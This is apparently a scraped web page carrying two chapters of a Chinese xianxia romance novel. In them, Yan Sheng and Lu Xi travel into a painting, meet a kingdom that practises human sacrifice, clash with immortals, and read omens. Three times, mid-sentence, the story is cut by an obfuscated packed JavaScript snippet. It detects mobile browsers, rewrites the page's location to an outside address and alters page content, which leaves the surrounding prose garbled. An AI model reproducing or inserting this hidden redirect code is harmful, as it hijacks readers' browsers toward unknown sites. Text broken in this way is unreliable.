午夜时分,万籁俱寂,所有人都沉入梦乡。 颜笙赫然惊醒,发现自己正立在一处未曾到过的昏暗庙宇之中。身上穿着并非记忆里的寝衣,而是睡前看过的那幅画里面的祭祀服。 空气中弥漫着古怪的草药香气,亦有陈旧的血腥气。 正前方是一尊高耸的神像,被忽明忽暗的火光映照,显得格外威严,又有点陌生。她也不知为何,心里认定这神是神尊,尽管它没有崔巍的气息。 奇怪的意志操控了她,她熟练地点燃案桌上面的药草,诡谲的香气幽幽传来,烟雾缭绕,模糊了周围的场景。 她带上了一幅巨大的青面獠牙的面具,将自己置于黑暗中,只留下一对尚不大能清外界的窥视孔。 鼓乐骤起。 她仿若木偶似的,踩着鼓点,娴熟地扭动身躯,她从未见过拂动如此大的舞蹈,灵魂几乎飘起来,像是在和神灵沟通。 一个转身的空挡,透过两枚孔洞的狭窄视野,她瞥见神像的阴影里,孤零零跪着一位年轻男人,他身姿挺拔,手中握着三支香,似乎在静静地祈祷。 因为被面具所遮挡,她看不清那人的面庞,只得继续跟随鼓点律动。随着鼓点越来越快,她的灵魂几乎都要被抽空。 曲毕。 那魂魄才回归躯壳,颜笙瘫软在地,汗水浸透她的厚重的舞衣。乐师们慢慢退场,殿堂里重归宁静,她才缓缓摘下面具。 殿内似乎还有另一个人的呼吸声。 颜笙瞧见跪在神像前的男人还没有走,他的眉头仍紧锁在额头,似乎想着什么极其痛苦的事。 深入骨髓的恨意在阻挠她前进,但出于巫者的济世本能压过恨意,驱使她向他慢慢靠近。 颜笙跪在案前,拿起案上的一根蓍草,小心翼翼以草茎触碰那人的眉心。在她的导引下,那人的眉头渐渐舒展。 心里面的恨意又压了过去。 她抽走那根能安抚男人的救命草。 男人从噩梦中惊醒,攥住那握着蓍草的手腕,用力一扯,她跌入他的怀抱。 她轻微地挣扎,但谈不上多用心,这种意外仿佛不是第一次,已经称不上意外。接下来他会推开她,然后用他的一双凤目,将厌恶与渴求交织的目光投向她。 越到这个时候,颜笙越要不知死活地触碰他。她以冰凉的指尖划过他颤抖的喉结,想到他因压抑对她的欲念而饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973530|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受折磨的模样,心头便是一阵报复成功的快意。 不过她料错了,男人今日并不想继续折磨自己。 绣着华丽纹路的巨大衣袍翩然掀起,遮蔽了她的全部视线。 颜笙的心猛地一跳,她突然意识到这是个梦。 * 颜笙从梦中清醒,意识到她做了一场香艳的梦,对象还是没有伪装容貌的张脆枣,吓得大口大口喘气。 这梦境太匪夷所思了。 一定是她对人家见色起意,导致夜有所梦。 颜笙翻出床头的画卷,那幅画中央竟出现一个诡谲的旋涡,似乎里面藏着一个秘境。 但若是要走,不知道何时才能再次回来。 颜笙想到这里,把点头怪立在寝室门口,至少能应付外面的两个,明天崔瑶来了,一切都好办些。 应该不会出什么问题,她想。 安排妥当后,她便打开那张人像,引着元神进入画卷。 刚进入画卷,幽幽一股焦味飘来,把颜笙呛得轻咳两声。她的视线被滚滚浓烟遮着她用力挥袖,扬走大片浓烟。 视线稍微清晰点,又有火星子溅过来,一群穿着人族衣服的人族朝着颜笙走来,他们手里举着火把,齐齐望向颜笙这位天外来客。 不由分说地,他们朝着颜笙丢火把。好在颜笙是寒冰体魄,水克火,饶是三昧真火都不怕,何况普通火苗。 颜笙施法熄灭他们的火焰。 她的身高在人群里突兀,这些人没能挡住她的视线,越过成排肩膀,她看见个女孩,约摸十二、三岁模样,穿着锦衣华服,手脚束缚在十字架上。 一只绑住手脚的猪哼哧哼哧,惨叫声里夹着刀刃在磨刀石上的摩擦声音,旁边有位成年男子埋头磨刀,似乎并未被颜笙的闯入而暂缓动作。 一个身穿黑袍带着鲸骨面具的男人,手握一根陈旧而又纤长的梨花木杖,嘴里囔囔念叨着。颜笙能听懂他的话,是一段仙文,大意是祈祷神尊能庇佑他们的君主。 颜笙对这里的情况一知半解,只从眼前判断,这是搞……活人祭祀? 更触目惊心的是,木架子旁边还有一口三足青铜鼎,铜色仍是新鲜的吉金色,未染半分铜绿,下面烧着旺盛的火焰,鼎里放着煮沸的开水,但锅里空空如也。 颜笙胃中翻江倒海,这未免太过荒谬,神尊老头不吃人啊,他们祭的事哪门子神? 她出招打散人群,又使出定身咒困住鲸骨祭司和磨刀屠夫,将木架上面的女孩解下来,平放在地面上。 那小姑娘容貌极美,下来时不哭不闹,冷静得不像是个孩子,看向她的目光似乎怨恨多一点。 颜笙以为她是受到惊吓,正要出言安慰,却瞥见映在明亮瞳孔里面的倒影。 她猛地回头,瞧见一根木杖朝自己劈来,便用手一挡。刚要借力以木杖为支点,把那偷袭的祭司拧到地上,却见那祭司被反向拧到地上。 大批身负铠甲的士兵涌上前,将那祭司擒住,那些先前交手的帮凶也被士兵们压着。有些士兵上前,要绕道颜笙背后去接小姑娘。 颜笙横臂一挡,把小姑娘护在身后,掏出长鞭束三生,拿在自己身前。 士兵倒是没直接用硬的,只是向后回望。 方阵里走出来一少年,衣冠楚楚。他和士兵们交谈着,士兵们对他态度极为恭敬,依稀听到士兵提到大祭司之类的字眼。 颜笙听到祭司更为慌张,心说该不会是来抢祭品的,把小女孩护得更紧。 那玄衣少年撇开士兵,独自一人上前。凑近时,颜笙看请这位玄衣少年的正脸,骇道:“怎么是你?” 怎会是陆析?他不是好好地在她的偏殿里躺着? 不对,或许是陆归年。 14. 解梦(一) 显熠宫内 陆析听见有声音唤他,那声音极为耳熟,婉转却不轻浮。他循声而行,尽头处摆放着一尊阔口青铜鼎,口沿黑得像井。 他向铜鼎走近,趴在鼎口往下瞧,里面竟生着一片茂密的白色花丛。而在那片诡异生长的花丛中央,赫然立着一个人影。 颜笙身穿花纹繁复的、以羽毛织缀的祭司服,站在花丛中微微仰头看他,柔软的两片薄唇微动,似乎正喃喃着什么。 陆析找来一条绳索放下去,鬼使神差地唤一声:“颜儿。” 颜笙蹙眉,脸色由晴转阴,隐现几分怨气。 陆析慌了神,向后连退几步,惊见花丛里燃起大火。颜笙仍泰然自若地端坐在火海中央,摆出偃蹇桀骜姿态,仿佛未见周遭的火势。 转眼之间,大火填满整个青铜鼎,浓烟翻涌,呛得人肺腑生疼,他再也找不见颜笙的踪迹。不多时,火势收敛,鼎底只剩一片焦土。 她这是死了? 陆析胸口憋闷,仿若压了一块大石。他猛然睁眼,方知仅是场噩梦。 他浑身被汗水浸湿,脖子像是围了一条厚厚围脖,憋得他喘不过气。一碰才知道,圆胖橘正牢牢地抱着他的脖子,胳膊和大腿都压在他上半身。 陆析把圆胖橘取下来,放到旁边的枕头上,又替他掖了被角,随即翻身下床,想去外面透透气。 刚下床,余光瞥见床前立着一道倩影,正直勾勾地盯着枕头上的圆胖橘。定睛一看,那竟是颜笙。 陆析困惑不解,颜笙怎会在这里?怕打扰到熟睡的圆胖橘,他压下吃惊和疑惑,便推着颜笙出屋,到走廊里才开口询问:“你也失眠了?” “颜笙”微笑地点点头,“如此,甚好。” 这副模样换在白日里或显得和蔼可亲,在夜里看着却形容诡异,宛若酝酿着阴谋的凶灵。陆析顿时汗毛耸立,抬起指尖,一道剑气弹出。 “颜笙”也不闪避,硬生生吸收下这道剑气,只平静地重复:“如此,甚好。” 这根本不会是颜笙。 陆析松了一口气,原来是一具替身躯壳。估计是颜笙放在寝室里守夜的,结果被圆胖橘迷迷糊糊地带回到这里。 他还是赶紧把替身送回去吧,不然明天颜笙看到,又该责怪圆胖橘了。 陆析领着点头怪回到颜笙的寝间。一进屋,忽瞧见前面站着他和诡异假笑的颜笙,远处是层层叠叠的廊道,恍惚间仿佛踏入一座迷宫。 他看见时愣了一下,好在脑海中存有不少陆归年和颜笙的相处画面,见到这般景象,倒也没扭头就逃。 不就是一面落地镜吗? 颜笙睡前喜欢照镜子,端详自己的容貌。像她这样天生丽质的女子,又怎会美而不自知? 陆析下意识地将目光投向她的床榻。 上面空无一人,床单也没有一丝褶皱,看来她根本没有就寝。这实在不像她一贯的作风。像她那样惜命的人,熬夜都很少发生,更不可能彻夜不睡。 正当他满腹疑惑时,忽然注意到枕边摊开着一幅画。 画中是一位身着祭司服的女子在翩翩起舞,容貌与颜笙别无二致,打扮也和他刚才梦中的颜笙相同。这好像是颜笙第一世的形象。 陆析不由得伸手去够画卷。 在触碰到画卷的一瞬间,那画卷产生巨大的吸力,把他带入了画中。 * 陆析抬头望天,见空中盘桓着一群黑黢黢的燕子,两两成对,宛如交相辉映的黑曜石。鸟兽飞禽在城内随处可见,比城中人口都只多不少。 这里是一万三千年前的太阴城,玄鸟国的旧都。玄鸟国崇拜飞鸟,城内饲养的禽鸟种类繁多。 陆析记得太阴城曾是天道凡人时期的封地,便调取了他的记忆。 今年是奉天国统治的第三年,太阴城尚未被分封给陆归年,仍由玄鸟后裔治理,城内依然沿袭旧制。 不远处有位屠户手提着大刀,砍着桌面上不知为何的骨肉,他猛地抬头看向白白嫩嫩的陆析,冲他嘿然一笑。 陆析浑身发冷,鼻腔中呛入浓烈的血腥味道。 他的肩膀被人拍了拍,回头看见揽客的店家。那位好客的店家,指了指旁边烤架上面的烧肉:“旅人,这里有上好的羊肉,要不进店坐坐?” 那是一只头颅被保留的整羊,四肢打开并绑在烤架。它的皮肤烧得焦黑,双手抱着拳头,背部微微岣嵝,乍看之下像极了人类。 陆析忍着胃里翻江倒海的感觉,挣脱了那店家的手臂,慌忙夺路而逃。 差点忘记了,人肉也被称作一种羊肉。烤架上架着的也许是羊,也许是人。 毕竟玄鸟喜欢人祭是出名的。 玄鸟国强盛时,与周边诸多小国结为联盟。凭借精湛的矿石冶炼技艺,在青铜农具与兵器的铸造上占据绝对优势,因而稳居霸主之位。 早年冶炼技术尚未成熟,失败频频,工匠遂迷信以活人献祭可提高铸造的成功率。此举如瘟疫般向各行各业蔓延,最终演变为该国的彪悍民俗。 即便改朝换代,奉天首任国主陆贺年依旧保留着这荒谬而血腥的制度。在这里,面容白净、血肉紧实的青年男子,被视作上等的祭肉。 陆析快步穿过腥臭弥漫的街道,满地血褐色污迹直到一家枣花酥铺子前才淡去。他停下脚步,擦去满额的汗,大口喘息。 像他这样法力卑微的修士,在这座城池里不过是行走的干粮,他必须尽快与颜笙会合。 陆析想到这里,不由得苦笑。自己这脆弱体质,怎会是传说中强大的天道?偏巧这时候,手臂又不争气地疼了起来。 一道狭长黑线自他手臂外侧的肌肤上浮现。指尖轻触那道黑线,脑海中骤然映出颜笙的身影: 她身着玄色祭袍,立于祭坛中央,正主持一场盛大祭典。从场景推断,那应是为已故前王陆贺年所设的国祭,而祭坛所在,正是奉天皇宫。 看来,颜笙此刻就在奉天的都城初阳城中。 初阳离这里约莫五百公里。陆析法力不足以御剑飞行,只能租用车马,可他身无分文。 幸而玄鸟城中商贾辐辏,太阴和初阳之间的车队络绎不绝。陆析以太阴郊外两处铜矿的坐标为价,蹭上前往初阳的车队。 养马在这时代尚未风靡,平民商队多用牛车。牛不及马跑得快,但行路极其平稳。陆析坐在车厢里,听着牛蹄有节奏地蹬地声,像支催眠曲,不多时便睡着了。 一辆马车自对面缓缓驶来。帘角微挑,车中身穿祭司服的女子探头瞭望,颈间玄鸟徽扣闪耀着光辉。 两车擦边而过。 不到一炷香工夫,铁蹄声渐静。不远处有人窃窃私语:“拿好主人给的赏钱。你们可以离开了。” 陆析被这段对话吵醒,不禁腹诽:这些商人还真是重利轻道义。从他口中套出铜矿位置,再把他卖出去,这是一鱼两吃。 陆析悄悄跳下牛车,忽见一把短刃飞来,钉在距离他脚侧一寸处的土地。 他侧头向后望,见老黄牛身上斜坐一女子,右脸对着他,弯眼朝他笑。 根据天道记忆,此人是鲢鱼妖莲江仙,玄鸟前国主子幽其中一位平平无奇的宠妃。 陆归年随摄政王四哥平定太阴之乱时,才见过这女子。对她的印象只有两个,侧脸比峭壁还平,还有就是天道初恋的养母。 仆从们上前,围住陆析退路。 莲江仙从牛背上跳下来,缓缓走到他面前:“陆家的人还敢到这里微服私访?” 陆析指尖一扣,正欲使出剑气反击。 莲江仙先一步觉察,施法定住了陆析,又强灌他一颗吐真仙丹。 “你是谁?”莲江仙随即问。 服下丹药后的陆析,目光先是变得呆滞,意识逐渐昏沉,如同酒醉之人般毫无防备。他答道:“我是……陆……陆归年。” 话一出口,陆析麻木的脸上眉头紧锁,这和他的认知有矛盾。但在丹药的作用下,他也没改口的气力。 “陆归年,我不想杀你,只想知道子颜去了哪里?”莲江仙问道。 陆析眼神空洞,喃喃道:“初阳城……她是大祭司……在初阳城……” 莲江仙狠狠掰起陆析的下巴,指尖掐得极为用力,“别诓我!自那婴儿登基起,大祭司就换了人。那女子眉眼和她有几分相似,但绝非同一个人!” 陆析脱口而出:“颜笙……她是颜笙……颜笙就是子颜……” 他无法组织复杂的辩驳,其实他脑海中也一片混乱,想到什么便说什么,如同醉汉:“现在一切都错了……历史全部变了样子……” “头一回见服用吐真丹还敢胡言的。”莲江仙松手,眼底最后一丝耐心耗尽,“既是问不出真话的废物,不如送去祭场。” 天空忽响起一阵雷声,树林里到处鬼影森森,野鸭的惨叫声此起彼伏,同时有黑烟幽幽四起,把他们团团围住。 黑烟散尽,烟雾里面生出一群目光呆滞、面色煞白的兵将,手握人间不曾见过的兵刃,步伐极为僵硬,不像是有血有肉的活人,倒像是坟堆里爬出的阴人。 这是阴兵? 陆析心头一震。召阴兵之术乃逆阴阳的诡谲秘书,能驱役此道者,世间屈指可数。但他同时,他想到一段往事。 昔年,玄鸟国岁岁以重祭献予桃源境,得神尊亲庇,虽残暴无道但国运日趋昌隆。四方属邦被迫献祭生民,虽屡有邦民奋起反抗,皆被桃源境降下的神兵所诛。 直至后来,陆归年的异母兄长陆贺年,偶然习得驱役阴兵之法,以阴兵牵制神兵,终得以攻破玄鸟的城池。 然神尊的威严岂容挑衅?陆贺年凯旋之后,天降神罚。他每夜为梦魇所扰,药石无医,不过三载,便油尽灯枯而亡。 正当陆析回忆翻涌时,一团黑影降临身前。 来人生着一双瑞凤眼,眉眼气质皆与崔瑶的义父张脆枣一致,但比张脆枣年轻不少。他手里捏着片青叶,不断折叠把玩着。 他看向陆析,审视半天这张与陆归年如出一辙的脸,忽感慨:“倒是有些像我们陆家的人,但他应该不是九弟。” 莲江仙摸着下巴,尽管下巴短得离奇,似笑非笑道:“既然他和你陆贺年非亲非故,你还多管闲事作甚?放心,我回去会好好款待这位小兄弟。” 陆析听罢,抬眼打量一眼那“张脆枣”,这是陆归年的二哥陆贺年? 在陆归年的记忆里,陆归年和这位兄长并非同母所出,所以兄弟两人关系并不亲近,也无怪他一时认不出。 陆析悄悄打量一眼陆贺年。记得颜笙和他的关系倒是不错,都是因为崔瑶。 陆贺年道:“款待到胃里吗?当年你和子幽活烹陆家一半族人,食肉吸髓。甚至留下我兄长的骸骨,给尚在年幼的孩童做玩具。” 莲江仙全程心不在焉地听着,等陆贺年停下来,她立刻开口反问:“你这说得好像你当时没吃过祭肉似的?况且你父亲是族长,决定奉天奴隶名单的也是他。” 她瞥一眼旁边的陆析,“你九弟当初没出生,要不我给他讲讲当年的事?” “但说无妨。九弟眼里的我,从来不怎么正面。”陆贺年不恼,淡淡看向陆析,“颜儿之前与我提过你。” 陆析心头莫名泛起酸楚。未等他回应,忽听得莲江仙嗤笑一声。 “说得可真亲密……”莲江仙冷言嘲讽:你法力这般高强,还能两年找不到她踪迹?我看你就没想找到她,指不定心里盘算着给哪位仙子做赘婿呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977823|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近传来叶片断裂的清脆声响,陆贺年掰断手中青叶,朝着莲江仙丢出那片碎叶。 莲江仙身形急闪,脸颊却骤然一疼。青叶如刀锋般掠过,划出血痕。 叶子去势未减,“夺”的一声深深钉入她身侧的树干。 血腥气味引动守候在侧的阴兵,它们躁动地朝她涌来。 莲江仙急急退往身后的一棵枣树旁,欲藏身于树干后方。不料树干剧颤,竟在她眼前化作一位面色赤红的男子。 这是真正的张脆枣。 张脆枣直擒住莲江仙,将她压到陆贺年面前,但还没等他们说话,天降神光,显像出一位明眸女仙。 “柔栀仙子,快救救我。”莲江仙捏着嗓子,故作柔弱。 女仙人轮廓显现,巨大的威压迫使周遭一切人神妖皆不得动。陆贺年如木桩似的杵在地上,想动也不能动弹一下。 陆析见状不免震撼。 倒也不只是因为她的法力能压制陆贺年,更令人愕叹的是,这位女仙脚下并未踩着云朵。桃源境不借云彩出行的仙人甚少,哪怕颜笙都需要驾云出行。 这位不请自来的女仙,恐怕是上古真神。 在他成为天道时,桃源境已经不存在上古真神了,以往他只是听其他仙人闲聊时提过,并未见到真的。 女仙人有一对葡萄似的眼珠子,眼中却毫无波澜,唇角弯起一个恰到好处的弧度,像个伪人木偶似的假笑,对陆贺年轻声道:“陆满月,卖我个面子,放过莲江仙。” 陆贺年听到女仙人这般唤他,在背后握紧拳头,碍于柔栀仙子是上古真神,实力远在他之上,他才没表现出动怒。看来,今日怕是又带不走这妖怪。 他不情不愿地朝张脆枣摆摆手,指示他松开莲江仙。 柔栀仙子施法把莲江仙护在身后,皮笑肉不笑地说道:“不知下次见面是什么时候。要不我改日到显……” “下次记得慢一点来——”陆贺年当即打断,声音冰得不近人情:“慢到可以不必来了。” 柔栀仙子假笑,看上去也不恼火。忽一阵清风吹过,她额前碎发扬起,随后化成一缕青烟消失。 陆贺年瞧见柔栀仙子离去,转头看向陆析。 陆析的一双手腕被束缚着,只得节节后退。忽而熟悉的疼痛感再次袭上手臂,低头看见先前黑色的线再次浮现出来。 一道黯淡的灰光敷在黑线上。陆析抬头,看见那道灰光向远处延伸,直到陆贺年的掌心。 陆贺年对陆析施法后,也窥见了颜笙的身影,她坐在一辆马车上,撩开帘子不住地打量外面,与她同坐一辆马车的陆归年如坐针毡。 陆贺年看到此景,打量一眼旁边与陆归年容貌一致的陆析,说道:“可要随我去接她回来?” 陆析刚想答应,手臂又是一疼,脑海中闪过陆归年的意志,随即说道:“不想。” 才说着,树林里传来诡谲的鸟鸣。 * 一辆马车疾驰在驶离初阳的官路上。那马车以绿松石点缀,车辙和华盖皆是新制青铜,挂着蜀地的蚕丝纱帐,彰显车内人的身份。 街道两侧皆是奉天子民,两旁百姓皆仰头望车,模糊瞧见车里坐着两人,窃窃私语道:“那是大祭司的马车?” “大祭司还是这般漂亮,同五年前见过的一模一样。” “哪有人五年前后容貌不变的?大祭司又不是仙人……听说这位是假的,真的已经被烧死了。” “你这就是嫉妒,见不得大祭司保养得好。我听说大祭司起居极为自律,朝五晚九,这是人家应得的。” 端坐在车内的颜笙,手握一柄铜镜,打量着镜中面容,皮肤光滑而白皙。纵使又做一次凡人,岁月从未在这张脸爬上一条皱纹。 颜笙心里踏实了。 颜笙已经被困画中五个年头。她若想回去,必须要找到引她入境的那幅女子画像。 她对女子的身份一无所知,只记得女子穿着祭司服,应该是一位女祭司。恰好犀杞城的领主陆征年招募春官,她便去应征了,而后入选。 颜笙做了三年底层春官,既不知女子身份,也没见过几次陆征年。 直到去年,先王病重,朝内动荡。陆征年扶持先王襁褓中的幼子继位,而他也被晋为摄政王。颜笙也官运亨通,被拔擢为大祭司。 其中门道,颜笙听过些,都说她成为大祭司是靠着一张脸。 先王离世后不久,宫中走水,前任大祭司在大火中丧生。可是大祭司来历不凡,既是玄鸟的质子公主,也是玄鸟圣女,所以不能轻易地离世。 颜笙刚好长了一张和大祭司相似的脸。宫中秘不发丧,安排颜笙替代了大祭司的职位。这位置一坐便是两年。 上个月,摄政王委派颜笙任务,要她在先王祭典后去暮雨城。他最近卜算到暮雨城附近有变动,那里临近玄鸟国旧都太阴城,恐是前朝有意反叛。 暮雨城是陆归年现在的仅有封地,太阴城以后也会是陆归年的。 颜笙斜睨着旁边坐立不安的少年陆归年。 眼前的陆归年刚及冠不久,与她熟识的成熟稳健的天道相去甚远,性情倒像是圆胖橘和陆析的结合体。 这小子和摄政王虽非同母所出,却是兄弟之中最崇拜摄政王的人。因此颜笙听过他不少事迹——比如没事给摄政王添乱。 若非摄政王命令,她才不愿与一个毛头小子共事。 陆归年察觉颜笙盯着他发呆,便把手中倒拿的书册放下,突然提起来:“我刚梦见一口井,这是什么意思?” 颜笙翻着解梦册子,看到“梦落井中,大凶”,便拂袖挡住这一页,心说如实回答又要被他求解厄,便哄小孩般假笑:“若是男子梦见井,多半是春心动了。” 15. 解梦(二) “嗯。”陆归年没有丝毫反驳,轻而易举地接受颜笙的说辞,借着她的话头补充道:“昨夜见窗外高悬着三颗星子。” “三星入户,宜嫁娶。”颜笙回答后,沉默地看着陆归年。 脸色微红,少年心绪写在脸上,摆明已有心上人。 而这个心上人…… 他们在这里仅认识两年不到,大型祭祀时才见面,除此之外没有过多交集。以他慢热的性子,竟还会喜欢她? 颜笙摇摇头,委婉表示:“你贵为王族子弟,若要成婚的话,首先要考虑对方的来历,其次要问过摄政王的意思。” 她搬出摄政王,就是想让陆归年知难而退,反正摄政王最疼陆归年,不会让他娶她这种来路不明的女子。 陆归年思忖了片刻,说道:“这是我和她的事,就不劳旁人操心了。” 她?看来不是自己了。 颜笙松了一口气,但同时心中泛酸,陆归年再不讨喜,也是她明媒正嫁的丈夫。又想起来,陆归年和她是初婚,证明他肯定没成。 她便又生出些好心,提醒道:“你确定对方没有成婚?“ 陆归年脸上表情骤然慌乱。 这话显然问到点子。颜笙继续义正言辞,“不要仗着权势强抢民女。摄政王也不会容许你做此事。” “那是……那不是出于她本意,她碍于对方权势,不得已屈从。”他随后坚定了语气,强调道:“况且她丈夫已逝,我想要照顾她和孩子。” “知道了。”颜笙故作深沉地点头,又扶了扶下巴打量他,突然想起来她当时身边跟着猫妖圆胖橘,某种程度也是带娃的,便是亏他:“看来你想给全天下带娃妇人一个家。” “也只有对她这样。”陆归年回答得很简短,脸颊红了,“你可还记得子颜?” 颜笙自然记得这名字。 玄鸟贵族命名通常名字是姓氏和官职相关字的组合。“子”是国姓,“颜”代表额头,举头三尺有神明,这是典型的王室神官名。 子颜也是那位被烧死的前任大祭司。 先王推翻玄鸟政权,战后每晚被噩梦所侵扰,偏执地认定是遭到玄鸟神灵报复,便祈请玄鸟国的子颜替他沟通神灵。 一开始是这样,后来子颜竟也抛弃玄鸟神灵,开始祭祀奉天虚构的神灵——也就是天道。 彼时天道陆归年尚未弱冠,尚未拥有封地,也住在初阳城中。大祭司和天道,确实有机会暗生情愫。 颜笙不禁冷笑,她成神前也曾在天道庙里做道姑,他还真是爱吃窝边草! 她道:“我记得她,五年前我们从祭场救下的女娃,也在我前面的大祭司。可是……她不是被大火烧死了。” 陆归年未曾顾忌颜笙是摄政王的心腹,也不藏着掖着:“她没死,一直好好地活着。有几次……她想要探望小皇帝,但是被我拦下了。” 颜笙闻言,霎时大惊。 官府对外公告,小皇帝是先王与神女一场感梦所生。她作为活了千年的神仙,一听便知是糊弄世人的假话,那孩子肯定另有凡人生母,只是身份不便告人。 如此说来,或许和那位大祭司有关? 宫中秘传,先王和前任大祭司每晚同枕而眠,关系形同夫妻。先王薨逝那日,宫内莫名走水,大祭司被火烧死,其实是为先王殉葬。 颜笙当时还嘲笑这女子实在是傻,她若是走得早,男人未必会为她殉情。 现在这么看,是她小看了人家,这分明这是金蝉脱壳了。 “我帮你看看。” 颜笙不由得兴奋起来,说着以蓍草起一卦。断茎自掌心落下,在桌上拼出归妹卦。“雷泽归妹,女子出嫁,占婚事为吉。” 陆归年面露喜色,像个情窦初开的愣头青。 颜笙冷声打击:“长男和少女心意互通,她喜欢成熟的男子,应该对你无感。” 一只骨节分明的手攀上桌案,陆归年试图搅乱蓍草,被颜笙及时阻挠,“还带耍赖的?她分明喜欢你哥那样的。” 陆归年见捣乱不成,只好作罢,空口白牙地反驳道:“你占得不准,单相思不算互通心意。” “哪来的单相思?”颜笙心说她是神仙,占卜还能有错?分明单相思是他陆归年单相思人家姑娘,可真是不成气候。 她掩住不悦,嘴角勾起刻意的笑,说道:“你这一动变成了九四卦。有人为阻挠,致使少女初婚愆期不成,不过近期二嫁可成。” 陆归年忽而直起身子,却沉默不言。颜笙看他的反应便知道自己占卜对了。 记得另一个传言里,先王临终前下了一道口谕,有意册封前子颜为后。摄政王为防止前朝余孽借题发挥,一直从中阻挠,最后耗到先王薨逝,此事不了了之。 陆归年忽追问道:“你还看出了什么?她二嫁真的能成?” “你兴奋作甚?反正不是你,官鬼落玄武,恐怕是龟兹那类外族。”颜笙没好气地白他一眼,“动爻落青龙,应该是东边的,她现在应已出发。你西边的凑什么热闹。” “奉天对玄鸟也是外族。而且她明明对我也有好感……”陆归年试图辩解,看颜笙一副全然不信的模样,便作罢:“反正你算的不准,多余浪费口舌解释。” 真是讨厌的小鬼。颜笙白了陆归年一眼,“爱信不信。日支落驿马庙旺,子午冲卦中世爻。他们的车队恐怕已经出发。” 走到半路,忽遇到信使拦路,随后信使上前与陆归年悄悄耳语了一通。 颜笙笑了笑。她是神仙,即便不想偷听,声音也会自主纳入她耳中。 信使的消息大体是说,上个月子颜趁陆归年不在,借口去集市买琴,偷溜去太阴城。现在她被兄长子参送去东夷和亲。 陆归年听罢,不由得看向颜笙,态度也变得谦逊:“颜大祭司,刚才是在下鲁莽冒犯了。可否告知在下子颜的下落?” 颜笙不言,拿起手中铜镜,朝陆归年抬了抬下巴:“把旁边车帘撩开。” 陆归年照做了,“这又是什么?” 颜笙道:“这是镜听,将愿望念给镜子听,然后侧耳倾听周围人的谈话。听到的第一句话便是问题的答案。” 外面两人在简陋的珍珠摊前厮打在一起,一人嚷道:“可恶,竟然拿鱼目当成珍珠骗我,这差得太远了。” “差得太远了?”陆归年重复着这句话,“这又是什么地方?” “鱼目,鱼眼,予奄,予奄国。”颜笙又瞅一眼镜子“路途遥远,他们目前还差个十万八千里,你去通往予奄国的私道上面阻拦,应该还来得及。” 颜笙拿出叠白纸,施法在纸上绘制简易地图,蘸着朱砂的指尖点了一处位置,留下一点红:“他们目前应该刚离开玄鸟,目测有二十人。” 她指尖又点在另一处:“若你随队乘马赶往,应该是能在这里会合。” 陆归年接过地图,抱拳作礼,说道:“那我先离开了。大祭司,我们改日再会。” “赶紧去吧。”颜笙点头表示理解,心说终于摆脱个累赘,当下的陆归年毫无用处,只会拖她后腿。 陆归年转身要走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982336|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “慢着。”颜笙突然叫住他。 颜笙想起早上那个大凶的梦境解析,为防止陆归年出意外,又做了一沓纸人,对着纸人吹了一口气,然后交给陆归年。 她嘱咐道:“你把这纸人藏好,遇到危险时候拿出来,或许可以保命。若真的应付不来,纸人会通知我。” 说完此话,两人才算最终道别。颜笙还是不放心,偷偷给陆归年加了一道出行安全的祝福。 等陆归年走远,颜笙随手叠成一只千纸鹤,撩起帘子对纸鹤轻声吩咐:“去摄政王那里。就说玄鸟欲反,望摄政王早做准备。” 送完这封信,颜笙调转车头去了暮雨城与玄鸟成中间的郊外。 摄政王交给颜笙的任务除了监察暮雨城,还有便是去破坏暮雨城附近的祭场。 先王继位后,为彰显奉天的包容,不光允许太阴城自治,还容忍玄鸟族继续举行活祭。等他去世后,摄政王便命人到处拆毁玄鸟的神坛祭场,烧毁他们的典籍。 此举并非是为了泄愤,而是为了切断玄鸟神灵对凡人的控制。 据摄政王的形容,当初讨伐玄鸟,他和兄长能感觉到这是一场人与神的战役。在陆地行军时,军营总会莫名起火,有人窥见了火鸟。在海上行进时,乘船时遇到水鸟偷袭。 若要根除玄鸟神灵对人类的辖制,除了要切断人族的祭祀,还要抹去人们记忆里的存在,从而削弱他们的力量。 颜笙对此表示认同,一个神灵如果不被记得,那便会彻底消失。这也是颜笙在桃源境主持祭典时,总要以天道的名义。 车子行驶到两里地处,便能听到哀嚎声不绝于耳,宛如噩梦。 循声继续走两百米,有一条幽深阴暗的小路。光线只能透过几缕,腐坏乳酪气味从四面八方袭击她的鼻腔。 颜笙突然觉得这里比传说中的幽冥要更像炼狱,绝望的嘶吼声刺破耳朵。 一辆庞然的货运马车从里面驶出来,大概有颜笙所乘马车两倍大,盖着一块带有辟邪花纹的红布。 